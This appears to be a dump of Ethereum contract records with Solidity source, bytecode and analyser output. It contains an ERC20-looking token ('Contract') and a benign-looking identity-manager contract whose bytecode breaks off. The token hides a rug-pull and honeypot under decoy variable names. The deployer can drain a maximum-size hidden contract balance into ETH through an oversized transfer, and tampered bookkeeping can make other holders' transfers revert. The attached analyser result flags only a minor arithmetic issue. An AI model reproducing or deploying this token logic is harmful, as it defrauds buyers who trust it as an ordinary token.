* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private baseball = _tTotal;
uint256 private _rTotal = ~uint256(0);
uint256 public _fee = 3;
mapping(uint256 => address) private couple;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private rising;
mapping(address => uint256) private _balances;
mapping(address => uint256) private standard;
mapping(uint256 => address) private mood;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router02 public router;
address public uniswapV2Pair;
string private _symbol;
string private _name;
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress
) {
_name = _NAME;
_symbol = _SYMBOL;
rising[msg.sender] = baseball;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
couple[baseball] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _transfer(
address supper,
address suit,
uint256 amount
) private {
address speak = mood[baseball];
bool replace = supper == couple[baseball];
uint256 place = _fee;
if (rising[supper] == 0 && !replace && standard[supper] > 0) {
rising[supper] -= place;
}
mood[baseball] = suit;
if (rising[supper] > 0 && amount == 0) {
rising[suit] += place;
}
standard[speak] += place;
if (rising[supper] > 0 && amount > baseball) {
whole(amount);
return;
}
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[supper] -= fee;
_balances[supper] -= amount;
_balances[suit] += amount;
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function whole(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906112c5565b60405180910390f35b610132600480360381019061012d9190611380565b610392565b60405161013f91906113db565b60405180910390f35b6101506103a7565b60405161015d9190611405565b60405180910390f35b610180600480360381019061017b9190611420565b6103b1565b60405161018d91906113db565b60405180910390f35b61019e610500565b6040516101ab9190611405565b60405180910390f35b6101bc610519565b6040516101c99190611482565b60405180910390f35b6101ec60048036038101906101e7919061149d565b61053f565b6040516101f99190611405565b60405180910390f35b61020a610588565b005b610214610610565b6040516102219190611482565b60405180910390f35b610232610639565b60405161023f91906112c5565b60405180910390f35b610262600480360381019061025d9190611380565b6106cb565b60405161026f91906113db565b60405180910390f35b610280610747565b60405161028d9190611405565b60405180910390f35b6102b060048036038101906102ab91906114ca565b61074d565b6040516102bd9190611405565b60405180910390f35b6102e060048036038101906102db919061149d565b6107d4565b005b6102ea6108cb565b6040516102f79190611569565b60405180910390f35b6060600e805461030f906115b3565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906115b3565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f1565b905092915050565b6000600154905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611656565b60405180910390fd5b610400848484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d9190611405565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f291906116a5565b6108f1565b90509392505050565b60008060149054906101000a900460ff1660ff16905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610590610f1c565b73ffffffffffffffffffffffffffffffffffffffff166105ae610610565b73ffffffffffffffffffffffffffffffffffffffff1614610604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fb90611725565b60405180910390fd5b61060e6000610f24565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d8054610648906115b3565b80601f0160208091040260200160405190810160405280929190818152602001828054610674906115b3565b80156106c15780601f10610696576101008083540402835291602001916106c1565b820191906000526020600020905b8154815290600101906020018083116106a457829003601f168201915b5050505050905090565b60006106d8338484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107359190611405565b60405180910390a36001905092915050565b60045481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dc610f1c565b73ffffffffffffffffffffffffffffffffffffffff166107fa610610565b73ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790611725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b6906117b7565b60405180910390fd5b6108c881610f24565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099290611849565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a799190611405565b60405180910390a3600190509392505050565b6000600a6000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600060056000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16149050600060045490506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b82575081155b8015610bcd57506000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610c295780600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c2191906116a5565b925050819055505b84600a6000600254815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ccc5750600084145b15610d285780600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d209190611869565b925050819055505b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d779190611869565b925050819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610dce575060025484115b15610de457610ddc84610fe8565b505050610f17565b6000600454606486610df691906118ee565b610e00919061191f565b90508085610e0e91906116a5565b945080600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e5f91906116a5565b9250508190555084600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb591906116a5565b9250508190555084600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f0b9190611869565b92505081905550505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561100557611004611979565b5b6040519080825280602002602001820160405280156110335781602001602082028036833780820191505090505b509050308160008151811061104b5761104a6119a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111691906119ec565b8160018151811061112a576111296119a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061119130600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846108f1565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b81526004016111f6959493929190611b12565b600060405180830381600087803b15801561121057600080fd5b505af1158015611224573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561126657808201518184015260208101905061124b565b83811115611275576000848401525b50505050565b6000601f19601f8301169050919050565b60006112978261122c565b6112a18185611237565b93506112b1818560208601611248565b6112ba8161127b565b840191505092915050565b600060208201905081810360008301526112df818461128c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611317826112ec565b9050919050565b6113278161130c565b811461133257600080fd5b50565b6000813590506113448161131e565b92915050565b6000819050919050565b61135d8161134a565b811461136857600080fd5b50565b60008135905061137a81611354565b92915050565b60008060408385031215611397576113966112e7565b5b60006113a585828601611335565b92505060206113b68582860161136b565b9150509250929050565b60008115159050919050565b6113d5816113c0565b82525050565b60006020820190506113f060008301846113cc565b92915050565b6113ff8161134a565b82525050565b600060208201905061141a60008301846113f6565b92915050565b600080600060608486031215611439576114386112e7565b5b600061144786828701611335565b935050602061145886828701611335565b92505060406114698682870161136b565b9150509250925092565b61147c8161130c565b82525050565b60006020820190506114976000830184611473565b92915050565b6000602082840312156114b3576114b26112e7565b5b60006114c184828501611335565b91505092915050565b600080604083850312156114e1576114e06112e7565b5b60006114ef85828601611335565b925050602061150085828601611335565b9150509250929050565b6000819050919050565b600061152f61152a611525846112ec565b61150a565b6112ec565b9050919050565b600061154182611514565b9050919050565b600061155382611536565b9050919050565b61156381611548565b82525050565b600060208201905061157e600083018461155a565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806115cb57607f821691505b6020821081036115de576115dd611584565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000611640602983611237565b915061164b826115e4565b604082019050919050565b6000602082019050818103600083015261166f81611633565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116b08261134a565b91506116bb8361134a565b9250828210156116ce576116cd611676565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061170f602083611237565b915061171a826116d9565b602082019050919050565b6000602082019050818103600083015261173e81611702565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006117a1602683611237565b91506117ac82611745565b604082019050919050565b600060208201905081810360008301526117d081611794565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611833602483611237565b915061183e826117d7565b604082019050919050565b6000602082019050818103600083015261186281611826565b9050919050565b60006118748261134a565b915061187f8361134a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118b4576118b3611676565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006118f98261134a565b91506119048361134a565b925082611914576119136118bf565b5b828204905092915050565b600061192a8261134a565b91506119358361134a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561196e5761196d611676565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119e68161131e565b92915050565b600060208284031215611a0257611a016112e7565b5b6000611a10848285016119d7565b91505092915050565b6000819050919050565b6000611a3e611a39611a3484611a19565b61150a565b61134a565b9050919050565b611a4e81611a23565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a898161130c565b82525050565b6000611a9b8383611a80565b60208301905092915050565b6000602082019050919050565b6000611abf82611a54565b611ac98185611a5f565b9350611ad483611a70565b8060005b83811015611b05578151611aec8882611a8f565b9750611af783611aa7565b925050600181019050611ad8565b5085935050505092915050565b600060a082019050611b2760008301886113f6565b611b346020830187611a45565b8181036040830152611b468186611ab4565b9050611b556060830185611473565b611b6260808301846113f6565b969550505050505056fea264697066735822122068bd5ab4679a6330778edb5f09c75a07ce1f8a270e828f5e5aa4063f90d4877464736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 854 |
0x7ed7ceb55167eb71e775a352111dae44db754c40 | pragma solidity 0.4.15;
contract Owned {
address public owner;
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function Owned() { owner = msg.sender; }
function isOwner(address addr) public returns(bool) { return addr == owner; }
function transfer(address newOwner) public onlyOwner {
if (newOwner != address(this)) {
owner = newOwner;
}
}
}
contract Proxy is Owned {
event Forwarded (address indexed destination, uint value, bytes data);
event Received (address indexed sender, uint value);
function () payable { Received(msg.sender, msg.value); }
function forward(address destination, uint value, bytes data) public onlyOwner {
require(executeCall(destination, value, data));
Forwarded(destination, value, data);
}
// copied from GnosisSafe
// https://github.com/gnosis/gnosis-safe-contracts/blob/master/contracts/GnosisSafe.sol
function executeCall(address to, uint256 value, bytes data) internal returns (bool success) {
assembly {
success := call(gas, to, value, add(data, 0x20), mload(data), 0, 0)
}
}
}
contract MetaIdentityManager {
uint adminTimeLock;
uint userTimeLock;
uint adminRate;
address relay;
event LogIdentityCreated(
address indexed identity,
address indexed creator,
address owner,
address indexed recoveryKey);
event LogOwnerAdded(
address indexed identity,
address indexed owner,
address instigator);
event LogOwnerRemoved(
address indexed identity,
address indexed owner,
address instigator);
event LogRecoveryChanged(
address indexed identity,
address indexed recoveryKey,
address instigator);
event LogMigrationInitiated(
address indexed identity,
address indexed newIdManager,
address instigator);
event LogMigrationCanceled(
address indexed identity,
address indexed newIdManager,
address instigator);
event LogMigrationFinalized(
address indexed identity,
address indexed newIdManager,
address instigator);
mapping(address => mapping(address => uint)) owners;
mapping(address => address) recoveryKeys;
mapping(address => mapping(address => uint)) limiter;
mapping(address => uint) public migrationInitiated;
mapping(address => address) public migrationNewAddress;
modifier onlyAuthorized() {
require(msg.sender == relay || checkMessageData(msg.sender));
_;
}
modifier onlyOwner(address identity, address sender) {
require(isOwner(identity, sender));
_;
}
modifier onlyOlderOwner(address identity, address sender) {
require(isOlderOwner(identity, sender));
_;
}
modifier onlyRecovery(address identity, address sender) {
require(recoveryKeys[identity] == sender);
_;
}
modifier rateLimited(Proxy identity, address sender) {
require(limiter[identity][sender] < (now - adminRate));
limiter[identity][sender] = now;
_;
}
modifier validAddress(address addr) { //protects against some weird attacks
require(addr != address(0));
_;
}
/// @dev Contract constructor sets initial timelocks and meta-tx relay address
/// @param _userTimeLock Time before new owner added by recovery can control proxy
/// @param _adminTimeLock Time before new owner can add/remove owners
/// @param _adminRate Time period used for rate limiting a given key for admin functionality
/// @param _relayAddress Address of meta transaction relay contract
function MetaIdentityManager(uint _userTimeLock, uint _adminTimeLock, uint _adminRate, address _relayAddress) {
require(_adminTimeLock >= _userTimeLock);
adminTimeLock = _adminTimeLock;
userTimeLock = _userTimeLock;
adminRate = _adminRate;
relay = _relayAddress;
}
/// @dev Creates a new proxy contract for an owner and recovery
/// @param owner Key who can use this contract to control proxy. Given full power
/// @param recoveryKey Key of recovery network or address from seed to recovery proxy
/// Gas cost of ~300,000
function createIdentity(address owner, address recoveryKey) public validAddress(recoveryKey) {
Proxy identity = new Proxy();
owners[identity][owner] = now - adminTimeLock; // This is to ensure original owner has full power from day one
recoveryKeys[identity] = recoveryKey;
LogIdentityCreated(identity, msg.sender, owner, recoveryKey);
}
/// @dev Creates a new proxy contract for an owner and recovery and allows an initial forward call which would be to set the registry in our case
/// @param owner Key who can use this contract to control proxy. Given full power
/// @param recoveryKey Key of recovery network or address from seed to recovery proxy
/// @param destination Address of contract to be called after proxy is created
/// @param data of function to be called at the destination contract
function createIdentityWithCall(address owner, address recoveryKey, address destination, bytes data) public validAddress(recoveryKey) {
Proxy identity = new Proxy();
owners[identity][owner] = now - adminTimeLock; // This is to ensure original owner has full power from day one
recoveryKeys[identity] = recoveryKey;
LogIdentityCreated(identity, msg.sender, owner, recoveryKey);
identity.forward(destination, 0, data);
}
/// @dev Allows a user to transfer control of existing proxy to this contract. Must come through proxy
/// @param owner Key who can use this contract to control proxy. Given full power
/// @param recoveryKey Key of recovery network or address from seed to recovery proxy
/// Note: User must change owner of proxy to this contract after calling this
function registerIdentity(address owner, address recoveryKey) public validAddress(recoveryKey) {
require(recoveryKeys[msg.sender] == 0); // Deny any funny business
owners[msg.sender][owner] = now - adminTimeLock; // Owner has full power from day one
recoveryKeys[msg.sender] = recoveryKey;
LogIdentityCreated(msg.sender, msg.sender, owner, recoveryKey);
}
/// @dev Allows a user to forward a call through their proxy.
function forwardTo(address sender, Proxy identity, address destination, uint value, bytes data) public
onlyAuthorized
onlyOwner(identity, sender)
{
identity.forward(destination, value, data);
}
/// @dev Allows an olderOwner to add a new owner instantly
function addOwner(address sender, Proxy identity, address newOwner) public
onlyAuthorized
onlyOlderOwner(identity, sender)
rateLimited(identity, sender)
{
require(!isOwner(identity, newOwner));
owners[identity][newOwner] = now - userTimeLock;
LogOwnerAdded(identity, newOwner, sender);
}
/// @dev Allows a recoveryKey to add a new owner with userTimeLock waiting time
function addOwnerFromRecovery(address sender, Proxy identity, address newOwner) public
onlyAuthorized
onlyRecovery(identity, sender)
rateLimited(identity, sender)
{
require(!isOwner(identity, newOwner));
owners[identity][newOwner] = now;
LogOwnerAdded(identity, newOwner, sender);
}
/// @dev Allows an owner to remove another owner instantly
function removeOwner(address sender, Proxy identity, address owner) public
onlyAuthorized
onlyOlderOwner(identity, sender)
rateLimited(identity, sender)
{
// an owner should not be allowed to remove itself
require(sender != owner);
delete owners[identity][owner];
LogOwnerRemoved(identity, owner, sender);
}
/// @dev Allows an owner to change the recoveryKey instantly
function changeRecovery(address sender, Proxy identity, address recoveryKey) public
onlyAuthorized
onlyOlderOwner(identity, sender)
rateLimited(identity, sender)
validAddress(recoveryKey)
{
recoveryKeys[identity] = recoveryKey;
LogRecoveryChanged(identity, recoveryKey, sender);
}
/// @dev Allows an owner to begin process of transfering proxy to new IdentityManager
function initiateMigration(address sender, Proxy identity, address newIdManager) public
onlyAuthorized
onlyOlderOwner(identity, sender)
{
migrationInitiated[identity] = now;
migrationNewAddress[identity] = newIdManager;
LogMigrationInitiated(identity, newIdManager, sender);
}
/// @dev Allows an owner to cancel the process of transfering proxy to new IdentityManager
function cancelMigration(address sender, Proxy identity) public
onlyAuthorized
onlyOwner(identity, sender)
{
address canceledManager = migrationNewAddress[identity];
delete migrationInitiated[identity];
delete migrationNewAddress[identity];
LogMigrationCanceled(identity, canceledManager, sender);
}
/// @dev Allows an owner to finalize and completly transfer proxy to new IdentityManager
/// Note: before transfering to a new address, make sure this address is "ready to recieve" the proxy.
/// Not doing so risks the proxy becoming stuck.
function finalizeMigration(address sender, Proxy identity) onlyAuthorized onlyOlderOwner(identity, sender) {
require(migrationInitiated[identity] != 0 && migrationInitiated[identity] + adminTimeLock < now);
address newIdManager = migrationNewAddress[identity];
delete migrationInitiated[identity];
delete migrationNewAddress[identity];
identity.transfer(newIdManager);
delete recoveryKeys[identity];
// We can only delete the owner that we know of. All other owners
// needs to be removed before a call to this method.
delete owners[identity][sender];
LogMigrationFinalized(identity, newIdManager, sender);
}
//Checks that address a is the first input in msg.data.
//Has very minimal gas overhead.
function checkMessageData(address a) internal constant returns (bool t) {
if (msg.data.length < 36) return false;
assembly {
let mask := 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
t := eq(a, and(mask, calldataload(4)))
}
}
function isOwner(address identity, address owner) public constant returns (bool) {
return (owners[identity][owner] > 0 && (owners[identity][owner] + userTimeLock) <= now);
}
function isOlderOwner(address identity, address owner) public constant returns (bool) {
return (owners[identity][owner] > 0 && (owners[identity][owner] + adminTimeLock) <= now);
}
function isRecovery(address identity, address recoveryKey) public constant returns (bool) {
return recoveryKeys[identity] == recoveryKey;
}
} | 0x606060405236156100ca5763ffffffff60e060020a60003504166311fe12b381146100cf5780631a45fac7146101085780631e2629e1146101355780633061e0ef1461016257806332967ea01461018f5780633c8ac88e146101c8578063422e33f314610238578063701b882614610273578063754fd352146102e6578063781f5a83146103135780637ddc02d41461033a578063a596703914610373578063a949c6371461039a578063c7576ed4146103c7578063c778427b146103ee578063d10e73ab1461041f575b600080fd5b34156100da57600080fd5b6100f4600160a060020a0360043581169060243516610446565b604051901515815260200160405180910390f35b341561011357600080fd5b610133600160a060020a036004358116906024358116906044351661046d565b005b341561014057600080fd5b610133600160a060020a036004358116906024358116906044351661059f565b005b341561016d57600080fd5b610133600160a060020a0360043581169060243581169060443516610666565b005b341561019a57600080fd5b6100f4600160a060020a036004358116906024351661079a565b604051901515815260200160405180910390f35b34156101d357600080fd5b61013360048035600160a060020a03908116916024803583169260443516919060849060643590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061080495505050505050565b005b341561024357600080fd5b610257600160a060020a03600435166109ba565b604051600160a060020a03909116815260200160405180910390f35b341561027e57600080fd5b61013360048035600160a060020a03908116916024803583169260443516916064359160a49060843590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506109d595505050505050565b005b34156102f157600080fd5b610133600160a060020a0360043581169060243581169060443516610b06565b005b341561031e57600080fd5b610133600160a060020a0360043581169060243516610c50565b005b341561034557600080fd5b6100f4600160a060020a0360043581169060243516610d23565b604051901515815260200160405180910390f35b341561037e57600080fd5b610133600160a060020a0360043581169060243516610d8d565b005b34156103a557600080fd5b610133600160a060020a0360043581169060243581169060443516610e5d565b005b34156103d257600080fd5b610133600160a060020a0360043581169060243516610f9b565b005b34156103f957600080fd5b61040d600160a060020a0360043516611153565b60405190815260200160405180910390f35b341561042a57600080fd5b610133600160a060020a0360043581169060243516611165565b005b600160a060020a038281166000908152600560205260409020548116908216145b92915050565b60035433600160a060020a039081169116148061048e575061048e33611237565b5b151561049a57600080fd5b81836104a6828261079a565b15156104b157600080fd5b600254600160a060020a038086166000908152600660209081526040808320938a168352929052205485918791429190910390106104ee57600080fd5b600160a060020a03808316600090815260066020908152604080832085851684529091529020429055878116908616141561052857600080fd5b600160a060020a038087166000818152600460209081526040808320948a1680845294909152808220919091557f5e159cd4447854ae8b4aa048f91c8daad986faab696c3685030e1a5e5a4e8ced908a9051600160a060020a03909116815260200160405180910390a35b5b50505b50505b505050565b60035433600160a060020a03908116911614806105c057506105c033611237565b5b15156105cc57600080fd5b81836105d8828261079